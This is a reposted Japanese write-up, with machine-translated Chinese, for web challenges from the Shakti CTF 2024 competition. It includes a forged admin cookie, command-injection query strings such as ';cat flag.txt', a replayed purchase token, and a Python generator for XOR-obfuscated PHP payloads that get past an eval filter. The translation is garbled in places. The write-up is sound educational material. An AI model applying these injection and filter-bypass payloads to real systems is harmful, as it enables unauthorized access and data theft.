Shakti CTF (2024) Writeup

WriteUp 8个月前 admin
116 0 0

[Web] Delicious [Web]美味

How delicious! 太好吃了!

ソースコード無し。 開くと「Delicious isn’t it?」という文字とともにCookieの画像が表示される。
没有源代码。我问:“美味不是吗?”与文字一起显示Cookie的图像。

レスポンスを見るとSet-Cookieが付いている。
在响应中显示了Set-Cookie。

Set-Cookie: cookie=eyJhZG1pbiI6MH0%3D; Path=/

URL Decodeして、From Base64すると{"admin":0}と出てくる。
如果URL解码,从Base64,它将显示 {"admin":0} 。

https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)&input=ZXlKaFpHMXBiaUk2TUgwJTNE

admin=1の状態にして使ってみよう。 让我们把它设置为admin=1。
https://gchq.github.io/CyberChef/#recipe=To_Base64(‘A-Za-z0-9%2B/%3D’)URL_Encode(true)&input=eyJhZG1pbiI6MX0
これを使って以下のようにリクエストするとフラグが得られる。
使用这个进行如下的重复请求的话,可以得到标志。

GET / HTTP/2
Host: ch23900160354.ch.eng.run
Cookie: cookie=eyJhZG1pbiI6MX0%3D

[Web] Find the flag
[Web]找到旗子

Flag is in flag.txt Flag在flag.txt中

以下のようにコマンドインジェクションできるポイントがある。
有如下可以命令注入的点。

@app.get('/')
def index():
    test = request.args.get('test', None)
    if test is None:
        return render_template('index.html')

    command = f"find {test}"

    try:
        output = os.popen(command).read()

;でコマンドを区切ってコマンドインジェクションしてみる。
用 ; 分隔命令并尝试命令注入。

/?test=a;idとするとuid=0(root) gid=0(root) groups=0(root)と出てくる。idコマンドが動作している。
如果是 /?test=a;id ,则会出现 uid=0(root) gid=0(root) groups=0(root) 。ID命令正在运行。

/?test=a;idとするとflag.txtの存在が分かる。 如果是 /?test=a;id ,则知道 flag.txt 的存在。
/?test=a;cat%20flag.txtでフラグ獲得。  /?test=a;cat%20flag.txt 获得标志。

[Web] Ultimate Spiderman Fan
[Web]终极蜘蛛侠风扇

Welcome to the Spider-Man Merch Portal . Your mission is to harness your web-slinging skills and become the ultimate Spider-Fan. Are you ready to prove your worth and claim your rightful place among the elite Spider-Fans?
欢迎来到蜘蛛侠商品门户网站。你的使命是利用你的网络吊索技能,成为最终的蜘蛛迷。你准备好证明你的价值,并要求你的精英蜘蛛迷之间的合法地位?

スパイダーマン・マーチ・ポータルへようこそ。あなたの使命は、ウェブを操るスキルを駆使して、究極のスパイダーファンになること。あなたは自分の価値を証明し、エリートスパイダーファンの中で正当な地位を主張する準備ができていますか?
欢迎来到蜘蛛侠三月门户网站。你的任务是利用你的网络技能,成为终极蜘蛛迷。你准备好证明自己的价值,并在精英蜘蛛迷中捍卫自己的合法地位了吗?

お金を$3000持った状態で、$5000の商品が買えればフラグがもらえそう。
如果你有3,000美元的钱,你可以买到5,000美元的商品,你就会得到一个标志。

ソースコード無しの状態なのでリクエストの流れを見てみる。
在没有源代码的情况下,让我们来看看rexest的流程。

  1. POST /buyproduct_id=1を送ると、対応するshopping_tokenというcookieがもらえる
    如果您在 POST /buy 中发送 product_id=1 ,您将得到相应的cookie shopping_token。
  2. 手順1のcookieとともにGET /checkoutすると購入が確定する
    GET /checkout 与步骤1中的cookie一起确认购买

買いたい商品はボタンが無く、UI上からは買えないのだが、以上のルールでもし変えた場合のリクエストを再現すれば買えそう。
你想购买的产品没有按钮,不能从用户界面上购买,但如果你根据以上规则更改了Reixest,你可能会购买它。

  1. POST /buy
POST /buy HTTP/2
Host: ch11900160369.ch.eng.run
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

product_id=4

これでcookieがもらえるので、以下のように使う。
这样就可以得到cookie,所以可以如下使用。

  1. GET /checkout
GET /checkout HTTP/2
Host: ch11900160369.ch.eng.run
Cookie: shopping_token=eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJhbW91bnQiOiA1MDAwfQ.qdH04CeYzu_qZoL2gBNdEsmtc3XKME6wAFw7CdjId5E

これでフラグゲット。 现在是弗拉格盖特。

[Web] Filters [Web]滤波器

No bypass! Flag is in flag.txt
没有旁路!Flag在flag.txt中

phpでできたサイトが与えられる。  你可以用PHP创建一个网站。

<?php
highlight_file(__FILE__);
$command = $_GET['command'] ?? '';

if($command === '') {
    die("Please provide a command\n");
}

function filter($command) {
    if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $command)) {
        return false;
    }
    return true;
}

if(filter($command)) {
    eval($command);
    echo "Command executed";
} else {
    echo "Restricted characters have been used";
}
echo "\n";
?>

XORテクが使えそう。 可以使用XOR技术。
https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md を参考にソルバーを書く。
XORを使って文字制限を回避して任意の文字を作成し、かっこを使って呼び出すという作戦。
使用XOR避免字符限制,创建任意字符,然后使用括号调用。

# ref: https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md

#string_code = ['system','ls'] # -> ("111114"^"BHBETY")("41"^"XB")
string_code = ['system','cat flag.txt'] # -> ("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE")
obfuscated_code = ""
charset = "1234567890qwertyuiopdfghjklzxvbnmQWERTYUIOPDFGHJKLZXVBNM"

for code in string_code:
    obfuscated = ""
    set_a = ""
    set_b = ""
    for i in code:
        ok = False
        for j in charset:
            for k in charset:
                if ord(j)^ord(k) == ord(i):
                    set_a += j
                    set_b += k
                    ok = True
                    break
            if ok:
                break
    obfuscated_code += f'("{set_a}"^"{set_b}")'
print(''.join(["(\"%s\")" % i for i in string_code]) + '=' + obfuscated_code)

直ぐ環境が閉じてしまったが print_r(("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE"))で最終的にフラグが得られたはず。
环境立即关闭了,但它最终应该在 print_r(("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE")) 上获得标志。

[Web] Notes V1 解けなかった
[Web]Notes V1无法解决

Is there more to the Simple Notes app than meets the eye?
简单笔记应用程序还有比眼睛看到的更多的东西吗?

Note: Use Pow script
注意:使用Pow脚本

https://gist.github.com/L0xm1/b6ece05590ea2ab819b3a833c702089c

reverse proxyとしてgolangで書かれたプログラムが動いていて/admin
有一个用golang编写的程序作为反向代理运行,并将 /admin 转换为反向代理。

ブロックしていて、そのあとのpythonで書かれたプログラムの/admin
它被阻塞,然后在Python编写的程序中使用 /admin 。

Insecure YAML Deselializationがある。
不安全的YAML Deselialization不安全的YAML Deselialization

何らかのsmugglingだろうが…  我想这是个smuggling…..。

以下だったらしい。脆弱性確認してなかった。 似乎是下面的。我还没有看到脆弱性。
https://security.snyk.io/vuln/SNYK-DEBIAN12-GOLANG117-3040376

原文始发于Hatena Blog:Shakti CTF (2024) Writeup

版权声明:admin 发表于 2024年3月11日 下午3:43。
转载请注明:Shakti CTF (2024) Writeup | CTF导航

相关文章